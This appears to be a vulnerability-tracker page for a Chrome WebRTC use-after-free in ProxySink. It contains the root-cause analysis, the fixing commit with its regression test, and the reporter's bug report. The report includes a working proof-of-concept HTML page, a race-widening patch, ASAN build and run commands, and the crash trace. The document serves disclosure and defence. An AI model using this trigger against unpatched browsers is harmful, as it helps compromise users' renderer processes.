High watch CVSS 8.8 chrome UAF 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in WebRTC
DescriptionUse after free in WebRTC
ComponentWebRTC
Bug ClassUAF
Action tierwatch — corruption primitive but gated (uncommon) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker486421954
Fix commitaf411f524722 (src) +54/-3
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Reported2026-02-22 (per vendor advisory)
Fix landed2026-03-06 (public git)
Disclosed2026-03-18
Patch gap12 days — fix public in source before the advisory

Background

Unsignaled receive stream
an audio receive stream WebRTC creates on the fly when RTP arrives with an SSRC not announced in signaling; such SSRCs are tracked in unsignaled_recv_ssrcs_, with the most recently seen one at the back of the list.
`default_sink_`
the channel-owned “default raw audio sink” (set via SetDefaultRawAudioSink) that should receive decoded audio from the latest unsignaled stream.
`ProxySink`
a small AudioSinkInterface wrapper constructed as new ProxySink(default_sink_.get()), i.e. it holds a raw, non-owning pointer to default_sink_ and forwards audio data to it.
`SetRawAudioSink(ssrc, sink)`
installs (or with nullptr clears) the raw audio sink on the receive stream identified by ssrc.

Root Cause Analysis

When the default sink is set, the voice receive channel attaches a ProxySink holding a raw default_sink_.get() pointer to the latest unsignaled receive stream, but the code that removes an SSRC from unsignaled_recv_ssrcs_ (second hunk in webrtc_voice_engine.cc; the enclosing function name is not shown in the hunk header) only erased the list entry and returned true, leaving that stream’s ProxySink attached. Per the commit message and the regression test ProxySinkSurvivesUnsignaledToSignaledPromotion, this happens when an unsignaled stream is promoted to a signaled one via AddRecvStream: the stream lives on with a ProxySink whose pointer becomes dangling once default_sink_ is replaced or destroyed (the test does this with SetDefaultRawAudioSink(nullptr)), so subsequent audio delivery through the proxy would use the freed sink (the test notes proxy_sink->OnData “would crash”).

The fix, when default_sink_ is set, records whether the removed SSRC was the latest (is_latest_unsignaled, computed before erase), calls SetRawAudioSink(ssrc, nullptr) to detach the proxy from the deregistered stream, and, if it was the latest and others remain, installs a fresh ProxySink on unsignaled_recv_ssrcs_.back() so the invariant “only the latest unsignaled stream holds a proxy to default_sink_” is maintained. In the first hunk (the new-unsignaled-stream path, enclosing function name also not shown), the old loop over every SSRC in unsignaled_recv_ssrcs_ did recv_streams_.find(drop_ssrc) and dereferenced it->second without checking for end(); it is replaced with a single SetRawAudioSink(prev_ssrc, nullptr) on the element at size() - 2, which the new comment identifies as the previous latest stream holding the sink.

Key insight
A ProxySink holding a non-owning pointer to default_sink_ was left attached to a stream after that stream left the unsignaled list, so the stream could outlive the sink it forwarded to; the fix detaches the proxy on deregistration and re-hands a new proxy to the new latest unsignaled stream.

Attack Path

  1. Default sink installed The receiving side sets a default raw audio sink for unsignaled audio, so default_sink_ is non-null (inferred: e.g. when a remote audio track is bound to an unsignaled SSRC).
  2. Unsignaled stream created A remote peer sends RTP audio on an SSRC absent from signaling, creating an unsignaled receive stream that receives a ProxySink(default_sink_.get()).
  3. Stream deregistered but kept alive The SSRC is later removed from unsignaled_recv_ssrcs_, for example by promotion to a signaled stream through AddRecvStream as in the regression test; pre-patch its ProxySink stays attached.
  4. Sink freed, stream keeps forwarding default_sink_ is replaced or cleared (the test uses SetDefaultRawAudioSink(nullptr)), and further decoded audio on the surviving stream is forwarded via the stale ProxySink pointer, a use after free; any resulting memory-corruption primitive or code execution is (inferred).

Impact Assessment

The vendor advisory rates this high severity as a “Use after free in WebRTC”; the patch shows a dangling ProxySink pointer to a destroyed default_sink_ on a still-active receive stream, which in Chrome would be in the process hosting the WebRTC media engine, normally the sandboxed renderer (inferred). Preconditions are a peer connection receiving audio on an unsignaled SSRC while a default raw audio sink is set, followed by a renegotiation or stream change that deregisters the SSRC and then replaces/clears the default sink — sequences a page controlling the connection and a cooperating remote peer could plausibly drive (inferred); exploitation beyond the use after free is (inferred), and the advisory does not report in-the-wild exploitation.

Changed Functions

FunctionChangeNotes
if
media/engine/webrtc_voice_engine.cc
modified
for
media/engine/webrtc_voice_engine.cc
modified
TEST_P
media/engine/webrtc_voice_engine_unittest.cc
modified

Files Changed

  • media/engine/webrtc_voice_engine.cc
  • media/engine/webrtc_voice_engine_unittest.cc

Audit Directions

  • Non-owning proxies to owned objects
    Look for other wrappers that capture a raw .get() of a std::unique_ptr member (e.g. video default sinks in webrtc_video_engine.cc, RemoteAudioSource sinks) and verify every path that replaces or destroys the owner also detaches all proxies.
  • State transitions of unsignaled streams
    Audit promotion (AddRecvStream), removal (RemoveRecvStream), SSRC change and ResetUnsignaledRecvStream paths for consistent cleanup of per-stream sinks, frame transformers and callbacks attached while the stream was unsignaled.
  • Unchecked map lookups
    Grep for recv_streams_.find(...)/send_streams_.find(...) followed by ->second without an end() check, especially where the key comes from a secondary list that may fall out of sync with the map.
From af411f52472297833af0813b727c7b4644221f04 Mon Sep 17 00:00:00 2001
From: Tommi <[email protected]>
Date: Thu, 05 Mar 2026 23:12:04 +0100
Subject: [PATCH] Update raw audio sink management for unsignaled streams

Ensure the default raw audio sink is correctly detached when an
unsignaled stream is removed or promoted. Previously, when a stream
was deregistered, the associated ProxySink could retain a bad
pointer to the default sink.

This change modifies the VoiceEngine to:
* Explicitly clear the raw audio sink from a stream when it is
  removed from the unsignaled stream list.
* Properly hand over the default sink to the next available
  unsignaled stream if the current primary stream is deregistered.
* Simplify the logic for detaching the sink from the previous latest
  stream when a new unsignaled stream is identified.

Bug: chromium:486421954
Fixes: chromium:486421954
Change-Id: Ied7062e95a1749a9d8f95f77ec2b0dc81ab00ad1
Reviewed-on: https://webrtc-review.googlesource.com/c/src/+/454040
Reviewed-by: Per Åhgren <[email protected]>
Commit-Queue: Tomas Gunnarsson <[email protected]>
Cr-Commit-Position: refs/heads/main@{#47074}
---

diff --git a/media/engine/webrtc_voice_engine.cc b/media/engine/webrtc_voice_engine.cc
index 857f6db..d13ce53 100644
--- a/media/engine/webrtc_voice_engine.cc
+++ b/media/engine/webrtc_voice_engine.cc
@@ -2698,9 +2698,14 @@
   // it up to the *latest* unsignaled stream we've seen, in order to support
   // the case where the SSRC of one unsignaled stream changes.
   if (default_sink_) {
-    for (uint32_t drop_ssrc : unsignaled_recv_ssrcs_) {
-      auto it = recv_streams_.find(drop_ssrc);
-      it->second->SetRawAudioSink(nullptr);
+    // The new ssrc has already been appended to `unsignaled_recv_ssrcs_`.
+    // If there are 2 or more streams, the stream at `size - 2` is the previous
+    // latest stream which currently possesses the default sink.
+    if (unsignaled_recv_ssrcs_.size() >= 2) {
+      // Detach the default sink from the previous latest stream.
+      uint32_t prev_ssrc =
+          unsignaled_recv_ssrcs_[unsignaled_recv_ssrcs_.size() - 2];
+      SetRawAudioSink(prev_ssrc, nullptr);
     }
     std::unique_ptr<AudioSinkInterface> proxy_sink(
         new ProxySink(default_sink_.get()));
@@ -2907,7 +2912,22 @@
   RTC_DCHECK_RUN_ON(worker_thread_);
   auto it = absl::c_find(unsignaled_recv_ssrcs_, ssrc);
   if (it != unsignaled_recv_ssrcs_.end()) {
+    bool is_latest_unsignaled = (it == unsignaled_recv_ssrcs_.end() - 1);
     unsignaled_recv_ssrcs_.erase(it);
+    if (default_sink_) {
+      // Detach the default sink from the deregistered stream. This is needed
+      // to prevent the ProxySink from holding a dangling pointer to the
+      // default_sink_.
+      SetRawAudioSink(ssrc, nullptr);
+      if (is_latest_unsignaled && !unsignaled_recv_ssrcs_.empty()) {
+        // The deregistered stream was the latest unsignaled stream, so it held
+        // the default sink. Since it was removed, we must pass the default sink
+        // to the *new* latest unsignaled stream via a new ProxySink.
+        std::unique_ptr<AudioSinkInterface> proxy_sink(
+            new ProxySink(default_sink_.get()));
+        SetRawAudioSink(unsignaled_recv_ssrcs_.back(), std::move(proxy_sink));
+      }
+    }
     return true;
   }
   return false;
diff --git a/media/engine/webrtc_voice_engine_unittest.cc b/media/engine/webrtc_voice_engine_unittest.cc
index 831ca66..0d66c96 100644
--- a/media/engine/webrtc_voice_engine_unittest.cc
+++ b/media/engine/webrtc_voice_engine_unittest.cc
@@ -3708,6 +3708,37 @@
   EXPECT_EQ(kNetworkUp, call_.GetNetworkState(MediaType::VIDEO));
 }
 
+// Test that when an unsignaled stream is promoted to a signaled stream,
+// its ProxySink doesn't hold a dangling raw pointer if the default sink
+// is subsequently destroyed.
+TEST_P(WebRtcVoiceEngineTestFake,
+       ProxySinkSurvivesUnsignaledToSignaledPromotion) {
+  EXPECT_TRUE(SetupChannel());
+  std::unique_ptr<FakeAudioSink> fake_sink(new FakeAudioSink());
+
+  // Set the default sink.
+  receive_channel_->SetDefaultRawAudioSink(std::move(fake_sink));
+
+  // Deliver an RTP packet to create an unsignaled stream.
+  DeliverPacket(kPcmuFrame);
+  const AudioSinkInterface* proxy_sink = GetRecvStream(kSsrc1).sink();
+  EXPECT_NE(nullptr, proxy_sink);
+
+  // Promote the unsignaled stream to a signaled stream.
+  StreamParams sp = StreamParams::CreateLegacy(kSsrc1);
+  EXPECT_TRUE(receive_channel_->AddRecvStream(sp));
+
+  // The proxy sink should be removed from the stream upon promotion.
+  EXPECT_EQ(nullptr, GetRecvStream(kSsrc1).sink());
+
+  // Destroy the original sink by passing nullptr.
+  receive_channel_->SetDefaultRawAudioSink(nullptr);
+
+  // Note: calling proxy_sink->OnData would crash here if the proxy_sink
+  // would still be attached to the stream and hold a dangling pointer to
+  // default_sink_. But we've verified that it's detached, so that won't happen.
+}
+
 // Test that playout is still started after changing parameters
 TEST_P(WebRtcVoiceEngineTestFake, PreservePlayoutWhenRecreateRecvStream) {
   SetupRecvStream();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/media/engine/webrtc_voice_engine_unittest.cc b/media/engine/webrtc_voice_engine_unittest.cc
index 831ca66..0d66c96 100644
--- a/media/engine/webrtc_voice_engine_unittest.cc
+++ b/media/engine/webrtc_voice_engine_unittest.cc
@@ -3708,6 +3708,37 @@
   EXPECT_EQ(kNetworkUp, call_.GetNetworkState(MediaType::VIDEO));
 }
 
+// Test that when an unsignaled stream is promoted to a signaled stream,
+// its ProxySink doesn't hold a dangling raw pointer if the default sink
+// is subsequently destroyed.
+TEST_P(WebRtcVoiceEngineTestFake,
+       ProxySinkSurvivesUnsignaledToSignaledPromotion) {
+  EXPECT_TRUE(SetupChannel());
+  std::unique_ptr<FakeAudioSink> fake_sink(new FakeAudioSink());
+
+  // Set the default sink.
+  receive_channel_->SetDefaultRawAudioSink(std::move(fake_sink));
+
+  // Deliver an RTP packet to create an unsignaled stream.
+  DeliverPacket(kPcmuFrame);
+  const AudioSinkInterface* proxy_sink = GetRecvStream(kSsrc1).sink();
+  EXPECT_NE(nullptr, proxy_sink);
+
+  // Promote the unsignaled stream to a signaled stream.
+  StreamParams sp = StreamParams::CreateLegacy(kSsrc1);
+  EXPECT_TRUE(receive_channel_->AddRecvStream(sp));
+
+  // The proxy sink should be removed from the stream upon promotion.
+  EXPECT_EQ(nullptr, GetRecvStream(kSsrc1).sink());
+
+  // Destroy the original sink by passing nullptr.
+  receive_channel_->SetDefaultRawAudioSink(nullptr);
+
+  // Note: calling proxy_sink->OnData would crash here if the proxy_sink
+  // would still be attached to the stream and hold a dangling pointer to
+  // default_sink_. But we've verified that it's detached, so that won't happen.
+}
+
 // Test that playout is still started after changing parameters
 TEST_P(WebRtcVoiceEngineTestFake, PreservePlayoutWhenRecreateRecvStream) {
   SetupRecvStream();
Loading diff…

Original Bug Report

reported by [email protected]

Use-after-free in WebRTC ProxySink via unsignaled-to-signaled stream promotion leads to renderer compromise

Title

Use-after-free in WebRTC ProxySink via unsignaled-to-signaled stream promotion leads to renderer compromise

Summary

A use-after-free vulnerability exists in the WebRTC voice engine’s audio sink management. When an unsignaled receive stream is promoted to a signaled stream during SDP renegotiation, the ProxySink object attached to the stream retains a raw pointer to the default_sink_ backing object. Because the promotion clears unsignaled_recv_ssrcs_, the subsequent call to SetDefaultRawAudioSink(nullptr) skips cleaning up the ProxySink and directly destroys the backing object. The audio output thread then dereferences the dangling pointer through ProxySink::OnData(), resulting in a heap-use-after-free. An attacker who controls the SDP offer content during a WebRTC session can trigger this from JavaScript, achieving arbitrary code execution in the renderer process.

Bisect

Introducing Commit: 4904fb6f462e08da5b8ad7492781929fa5c0780c

Root Cause

The WebRTC voice engine uses a ProxySink wrapper class to forward audio data from a receive stream to the current default audio sink. This proxy is created inside SetDefaultRawAudioSink and attached to the most recent unsignaled receive stream. The proxy stores a raw pointer to the underlying AudioSinkInterface object (which is a RemoteAudioSource::AudioDataProxy instance owned by default_sink_):

// third_party/webrtc/media/engine/webrtc_voice_engine.cc
class ProxySink : public AudioSinkInterface {
 public:
  explicit ProxySink(AudioSinkInterface* sink) : sink_(sink) {
    RTC_DCHECK(sink);
  }

  void OnData(const Data& audio) override {
    sink_->OnData(audio);  // Dereferences raw pointer — UAF when sink_ is dangling
  }

 private:
  AudioSinkInterface* sink_;  // Raw pointer, not raw_ptr<>
};

The SetDefaultRawAudioSink method only updates the ProxySink on a stream when unsignaled_recv_ssrcs_ is non-empty. If the vector is empty, it skips the ProxySink update entirely and proceeds to replace default_sink_, which destroys the previous backing object:

// third_party/webrtc/media/engine/webrtc_voice_engine.cc
void WebRtcVoiceReceiveChannel::SetDefaultRawAudioSink(
    std::unique_ptr<AudioSinkInterface> sink) {
  RTC_DCHECK_RUN_ON(worker_thread_);
  if (!unsignaled_recv_ssrcs_.empty()) {
    std::unique_ptr<AudioSinkInterface> proxy_sink(
        sink ? new ProxySink(sink.get()) : nullptr);
    SetRawAudioSink(unsignaled_recv_ssrcs_.back(), std::move(proxy_sink));
  }
  // When unsignaled_recv_ssrcs_ is empty, the ProxySink on the promoted stream
  // is NOT updated, but default_sink_ is destroyed here:
  default_sink_ = std::move(sink);
}

The vulnerability is triggered through the unsignaled-to-signaled stream promotion path. When AddRecvStream is called for an SSRC that already exists as an unsignaled stream, it calls MaybeDeregisterUnsignaledRecvStream, which removes the SSRC from unsignaled_recv_ssrcs_ and returns true. The stream object itself is kept alive (promoted), and the ProxySink attached to it is left untouched:

// third_party/webrtc/media/engine/webrtc_voice_engine.cc
// Inside AddRecvStream:
  if (MaybeDeregisterUnsignaledRecvStream(ssrc)) {
    // SSRC removed from unsignaled_recv_ssrcs_, but ProxySink still on the stream
    auto stream_ids = sp.stream_ids();
    std::string sync_group = stream_ids.empty() ? std::string() : stream_ids[0];
    call_->OnUpdateSyncGroup(recv_streams_[ssrc]->stream(),
                             std::move(sync_group));
    return true;  // Stream promoted — ProxySink with raw pointer survives
  }
// third_party/webrtc/media/engine/webrtc_voice_engine.cc
bool WebRtcVoiceReceiveChannel::MaybeDeregisterUnsignaledRecvStream(
    uint32_t ssrc) {
  RTC_DCHECK_RUN_ON(worker_thread_);
  auto it = absl::c_find(unsignaled_recv_ssrcs_, ssrc);
  if (it != unsignaled_recv_ssrcs_.end()) {
    unsignaled_recv_ssrcs_.erase(it);  // Vector becomes empty
    return true;
  }
  return false;
}

After the promotion, the SDP processing layer calls GetRestartFunctionForMediaChannel_w in AudioRtpReceiver, which transitions the receiver from unsignaled (ssrc = nullopt) to signaled (ssrc = N). This first calls Stop(nullopt), which invokes SetDefaultRawAudioSink(nullptr), then calls Start(ssrc), which attaches a new AudioDataProxy via SetRawAudioSink:

// third_party/webrtc/pc/audio_rtp_receiver.cc
void AudioRtpReceiver::GetRestartFunctionForMediaChannel_w(
    std::optional<uint32_t> ssrc,
    bool track_enabled,
    MediaSourceInterface::SourceState state) {
  // ...
  if (state != MediaSourceInterface::kInitializing) {
    if (signaled_ssrc_ == ssrc)
      return;
    source_->Stop(media_channel_, signaled_ssrc_);  // signaled_ssrc_ is nullopt
    // Stop(nullopt) → SetDefaultRawAudioSink(nullptr) → DESTROYS default_sink_
    // But ProxySink on the promoted stream still holds a raw pointer to the now-freed object
  }

  signaled_ssrc_ = std::move(ssrc);
  source_->Start(media_channel_, signaled_ssrc_);  // Start(ssrc) → SetRawAudioSink(ssrc, new AudioDataProxy)
  // Between Stop and Start, the audio output thread may call ProxySink::OnData()
  // which dereferences the dangling sink_ pointer — UAF
  // ...
}

The RemoteAudioSource::Stop and Start methods delegate to the voice channel:

// third_party/webrtc/pc/remote_audio_source.cc
void RemoteAudioSource::Stop(VoiceMediaReceiveChannelInterface* media_channel,
                             std::optional<uint32_t> ssrc) {
  RTC_DCHECK_RUN_ON(worker_thread_);
  RTC_DCHECK(media_channel);
  ssrc ? media_channel->SetRawAudioSink(*ssrc, nullptr)
       : media_channel->SetDefaultRawAudioSink(nullptr);  // ssrc is nullopt → destroys default_sink_
}

The cross-thread race occurs because all of the above logic runs on the WebRTC worker thread, while the audio output thread continuously calls ChannelReceive::GetAudioFrameWithInfo, which acquires a mutex and calls through the audio_sink_ pointer. The audio_sink_ pointer in ChannelReceive points to the ProxySink, and the mutex protects only this outer pointer, not the inner sink_ raw pointer that ProxySink holds. Between the moment SetDefaultRawAudioSink(nullptr) destroys default_sink_ and the moment SetRawAudioSink(ssrc, new_sink) replaces the ProxySink, any audio callback through ProxySink::OnData() dereferences the freed AudioDataProxy object.

The ASAN output confirms the object is “NOT PROTECTED” by MiraclePtr because ProxySink::sink_ is a plain AudioSinkInterface* rather than raw_ptr<AudioSinkInterface>.

Reproduce

To trigger the vulnerability, the attacker controls the SDP offer content during a WebRTC peer connection. In the first negotiation round, the offer is munged to remove all a=ssrc:, a=ssrc-group:, and a=msid: lines, which causes the receiver to process the incoming audio as an unsignaled stream while keeping remote_streams_ empty in BaseChannel. When audio RTP packets arrive, MaybeCreateDefaultReceiveStream creates an unsignaled receive stream with a ProxySink. In the second negotiation round, the offer includes the full SSRC information. Because remote_streams_ was empty from the first round, UpdateRemoteStreams_w does not call ResetUnsignaledRecvStream. Instead, AddRecvStream hits the promote path, clearing unsignaled_recv_ssrcs_ without cleaning up ProxySink, and then GetRestartFunctionForMediaChannel_w destroys default_sink_ while ProxySink still references it.

Save the following as poc.html:

<!DOCTYPE html>
<html>
<head><title>ProxySink UAF PoC</title></head>
<body>
<pre id="log"></pre>
<script>
function log(msg) {
    const el = document.getElementById('log');
    el.textContent += new Date().toISOString().slice(11,23) + ' ' + msg + '\n';
    console.log(msg);
}

function stripStreamsFromSdp(sdp) {
    // Remove a=ssrc:, a=ssrc-group:, AND a=msid: lines.
    // This makes MediaContentDescription::streams() return EMPTY,
    // which means remote_streams_ stays empty in BaseChannel.
    // Key: empty remote_streams_ prevents ResetUnsignaledRecvStream from being called
    // on the next renegotiation, allowing the promote path to be hit.
    return sdp.replace(/a=ssrc:[^\r\n]*\r?\n/g, '')
              .replace(/a=ssrc-group:[^\r\n]*\r?\n/g, '')
              .replace(/a=msid:[^\r\n]*\r?\n/g, '');
}

async function sleep(ms) {
    return new Promise(r => setTimeout(r, ms));
}

async function run() {
    log('[*] PoC: ProxySink dangling default_sink_ pointer');

    const config = {iceServers: []};
    const pc1 = new RTCPeerConnection(config); // sender
    const pc2 = new RTCPeerConnection(config); // receiver (target)

    pc1.onicecandidate = e => {
        if (e.candidate) pc2.addIceCandidate(e.candidate).catch(() => {});
    };
    pc2.onicecandidate = e => {
        if (e.candidate) pc1.addIceCandidate(e.candidate).catch(() => {});
    };

    pc2.ontrack = e => {
        log('[+] pc2 received track: ' + e.track.kind);
        // Attach to audio element to force audio rendering pipeline
        const audio = document.createElement('audio');
        audio.srcObject = e.streams[0] || new MediaStream([e.track]);
        audio.autoplay = true;
        audio.volume = 0.01; // low volume
        audio.play().catch(() => {});
    };

    log('[*] Getting audio track...');
    let stream;
    try {
        stream = await navigator.mediaDevices.getUserMedia({audio: true});
    } catch(e) {
        log('[!] getUserMedia failed, creating synthetic audio...');
        const ctx = new AudioContext();
        const osc = ctx.createOscillator();
        osc.frequency.value = 440;
        const dest = ctx.createMediaStreamDestination();
        osc.connect(dest);
        osc.start();
        stream = dest.stream;
    }

    const audioTrack = stream.getAudioTracks()[0];
    pc1.addTrack(audioTrack, stream);
    log('[*] Added audio track to pc1');

    // Phase 1: Negotiate with NO streams info (empty remote_streams_)
    // Remove a=ssrc AND a=msid so that streams() is empty.
    // This way remote_streams_ stays empty, preventing ResetUnsignaledRecvStream.
    // But the transceiver is still created (m-line exists) and goes to unsignaled mode.
    log('[*] Phase 1: Creating offer (strip all stream info)...');
    let offer1 = await pc1.createOffer();

    const ssrcMatch = offer1.sdp.match(/a=ssrc:(\d+)/);
    if (ssrcMatch) {
        log('[*] Original offer SSRC: ' + ssrcMatch[1]);
    }

    await pc1.setLocalDescription(offer1);

    // Strip both a=ssrc AND a=msid so streams() is empty
    const strippedSdp = stripStreamsFromSdp(offer1.sdp);
    log('[*] Stripped offer SDP (no a=ssrc, no a=msid) for pc2');
    log('[*] This keeps remote_streams_ empty, avoiding ResetUnsignaledRecvStream');

    await pc2.setRemoteDescription({type: 'offer', sdp: strippedSdp});

    let answer1 = await pc2.createAnswer();
    await pc2.setLocalDescription(answer1);
    await pc1.setRemoteDescription(answer1);

    log('[*] Phase 1 negotiation complete. Waiting for audio RTP to flow...');

    // Wait for connection + RTP to trigger MaybeCreateDefaultReceiveStream
    await new Promise(resolve => {
        let resolved = false;
        pc2.onconnectionstatechange = () => {
            log('[*] pc2 connection state: ' + pc2.connectionState);
            if (pc2.connectionState === 'connected' && !resolved) {
                resolved = true;
                setTimeout(resolve, 2000);
            }
        };
        setTimeout(() => { if (!resolved) { resolved = true; resolve(); } }, 10000);
    });

    log('[*] Audio flowing. Unsignaled recv stream created, ProxySink wrapping default_sink_.');

    // Phase 2: Renegotiate WITH SSRC (trigger promote then UAF)
    // UpdateRemoteStreams_w:
    //   remote_streams_ is EMPTY (no old streams to check, ResetUnsignaledRecvStream NOT called)
    //   New stream has SSRC X, AddRecvStream(X), MaybeDeregisterUnsignaledRecvStream, PROMOTE
    //     (removes X from unsignaled_recv_ssrcs_, but ProxySink stays on stream)
    //
    // Then GetRestartFunctionForMediaChannel_w(X):
    //   Stop(nullopt) calls SetDefaultRawAudioSink(nullptr)
    //     unsignaled_recv_ssrcs_ empty, skip ProxySink cleanup, DESTROY default_sink_
    //   (race window: audio thread calls ProxySink::OnData on freed object)
    //   Start(X) calls SetRawAudioSink(X, new AudioDataProxy) which replaces ProxySink

    log('[!] Phase 2: Renegotiating WITH SSRC to trigger promote...');

    let offer2 = await pc1.createOffer();
    log('[*] New offer SSRC: ' + (offer2.sdp.match(/a=ssrc:(\d+)/) || ['','none'])[1]);

    await pc1.setLocalDescription(offer2);

    log('[!] Setting remote description with SSRC - triggering promote + UAF window...');
    await pc2.setRemoteDescription(offer2);

    let answer2 = await pc2.createAnswer();
    await pc2.setLocalDescription(answer2);
    await pc1.setRemoteDescription(answer2);

    log('[*] Phase 2 complete. If ASAN did not fire, waiting for audio callbacks...');
    await sleep(3000);

    log('[*] PoC complete. Check stderr for ASAN output.');
}

run().catch(e => log('[ERROR] ' + e.message + '\n' + e.stack));
</script>
</body>
</html>

Because this is a cross-thread race condition, the vulnerable window between default_sink_ destruction and ProxySink replacement is only a few instructions wide on the worker thread. To reliably reproduce the crash under ASAN, apply the following patch to widen the race window by inserting a 500ms sleep after default_sink_ is destroyed while unsignaled_recv_ssrcs_ is empty (the exact condition where ProxySink is left dangling):

diff --git a/third_party/webrtc/media/engine/webrtc_voice_engine.cc b/third_party/webrtc/media/engine/webrtc_voice_engine.cc
--- a/third_party/webrtc/media/engine/webrtc_voice_engine.cc
+++ b/third_party/webrtc/media/engine/webrtc_voice_engine.cc
@@ -88,6 +88,7 @@
 #include "rtc_base/checks.h"
 #include "rtc_base/dscp.h"
+#include "rtc_base/thread.h"
 #include "rtc_base/experiments/struct_parameters_parser.h"
 #include "rtc_base/logging.h"
 #include "rtc_base/network/sent_packet.h"
@@ -2850,6 +2851,12 @@ void WebRtcVoiceReceiveChannel::SetDefaultRawAudioSink(
     SetRawAudioSink(unsignaled_recv_ssrcs_.back(), std::move(proxy_sink));
   }
   default_sink_ = std::move(sink);
+  // Widen the race window for reproduction: after default_sink_ is destroyed
+  // (sink was nullptr), the ProxySink on the promoted stream still holds a
+  // dangling pointer. Sleep to let the audio thread hit ProxySink::OnData().
+  if (!default_sink_ && unsignaled_recv_ssrcs_.empty()) {
+    Thread::SleepMs(500);
+  }
 }

Build Chromium with ASAN, apply the patch, and run:

cd ~/chromium/src
git apply wrtc077_reproduce.patch
autoninja -C out/asan-release chrome
ASAN_OPTIONS=detect_odr_violation=0 xvfb-run -a \
  out/asan-release/chrome \
  --no-sandbox --disable-gpu \
  --use-fake-device-for-media-stream \
  --use-fake-ui-for-media-stream \
  --autoplay-policy=no-user-gesture-required \
  --enable-logging=stderr \
  --user-data-dir=$(mktemp -d) \
  poc.html

ASAN output:

==1804752==ERROR: AddressSanitizer: heap-use-after-free on address 0x7b6a44d42e30 at pc 0x7f4aaa0ceee2 bp 0x7b4981cd7400 sp 0x7b4981cd73f8
READ of size 8 at 0x7b6a44d42e30 thread T17 (AudioOutputDevi)
    #0 0x7f4aaa0ceee1 in webrtc::(anonymous namespace)::ProxySink::OnData(webrtc::AudioSinkInterface::Data const&) third_party/webrtc/media/engine/webrtc_voice_engine.cc:138:12
    #1 0x7f4aaa98dc91 in webrtc::voe::(anonymous namespace)::ChannelReceive::GetAudioFrameWithInfo(int, webrtc::AudioFrame*) third_party/webrtc/audio/channel_receive.cc:440:20
    #2 0x7f4aaab90554 in webrtc::AudioMixerImpl::GetAudioFromSources(int) third_party/webrtc/modules/audio_mixer/audio_mixer_impl.cc:137:42
    #3 0x7f4aaab9015e in webrtc::AudioMixerImpl::Mix(unsigned long, webrtc::AudioFrame*) third_party/webrtc/modules/audio_mixer/audio_mixer_impl.cc:107:27
    #4 0x7f4aaa985bea in webrtc::AudioTransportImpl::PullRenderData(int, int, unsigned long, unsigned long, void*, long*, long*) third_party/webrtc/audio/audio_transport_impl.cc:273:11
    #5 0x7f4a5b72e2a1 in blink::WebRtcAudioDeviceImpl::RenderData(media::AudioBus*, int, base::TimeDelta, base::TimeDelta*, media::AudioGlitchInfo const&) third_party/blink/renderer/modules/webrtc/webrtc_audio_device_impl.cc:117:30
    #6 0x7f4a5b7402da in blink::WebRtcAudioRenderer::SourceCallback(int, media::AudioBus*) third_party/blink/renderer/modules/webrtc/webrtc_audio_renderer.cc:647:12
    #7 0x7f4a5b73fbc1 in blink::WebRtcAudioRenderer::Render(base::TimeDelta, base::TimeTicks, media::AudioGlitchInfo const&, media::AudioBus*) third_party/blink/renderer/modules/webrtc/webrtc_audio_renderer.cc:601:5
    #8 0x7f4aadf424f2 in media::AudioOutputDeviceThreadCallback::Process(unsigned int) media/audio/audio_output_device_thread_callback.cc:107:21
    #9 0x7f4aadf0377b in media::AudioDeviceThread::ThreadMain() media/audio/audio_device_thread.cc:114:18
    #10 0x7f4ac42dde8c in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #11 0x556bcf638316 in asan_thread_start(void*) asan_interceptors.cpp

0x7b6a44d42e30 is located 0 bytes inside of 16-byte region [0x7b6a44d42e30,0x7b6a44d42e40)
freed by thread T10 (WebRTC_W_and_N) here:
    #0 0x556bcf674dd2 in operator delete(void*, unsigned long) (/home/test/chromium/src/out/asan-release/chrome+0x6825dd2) (BuildId: 02e60c0f598a1e35)
    #1 0x7f4aaa69566e in webrtc::RemoteAudioSource::AudioDataProxy::~AudioDataProxy() third_party/webrtc/pc/remote_audio_source.cc:47:30
    #2 0x7f4aaa0c6ba7 in webrtc::WebRtcVoiceReceiveChannel::SetDefaultRawAudioSink(std::__Cr::unique_ptr<webrtc::AudioSinkInterface, std::__Cr::default_delete<webrtc::AudioSinkInterface>>) gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
    #3 0x7f4aaa68a835 in webrtc::AudioRtpReceiver::GetRestartFunctionForMediaChannel_w(std::__Cr::optional<unsigned int>, bool, webrtc::MediaSourceInterface::SourceState) third_party/webrtc/pc/audio_rtp_receiver.cc:233:14
    #4 0x7f4aaa80c0e5 in void webrtc::FunctionView<void ()>::CallVoidPtr<webrtc::(anonymous namespace)::ScopedOperationsBatcher::Run()::'lambda'()>(webrtc::FunctionView<void ()>::VoidUnion) third_party/abseil-cpp/absl/functional/internal/any_invocable.h:774:1
    #5 0x7f4a5ba458e4 in webrtc::ThreadWrapper::ProcessPendingSends() third_party/webrtc/api/function_view.h:96:12
    #6 0x7f4a5ba48284 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #7 0x7f4ac4160c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #8 0x7f4ac41e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #9 0x7f4ac41e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
    #10 0x7f4ac40033f1 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
    #11 0x7f4ac41e37e8 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
    #12 0x7f4ac40cb002 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
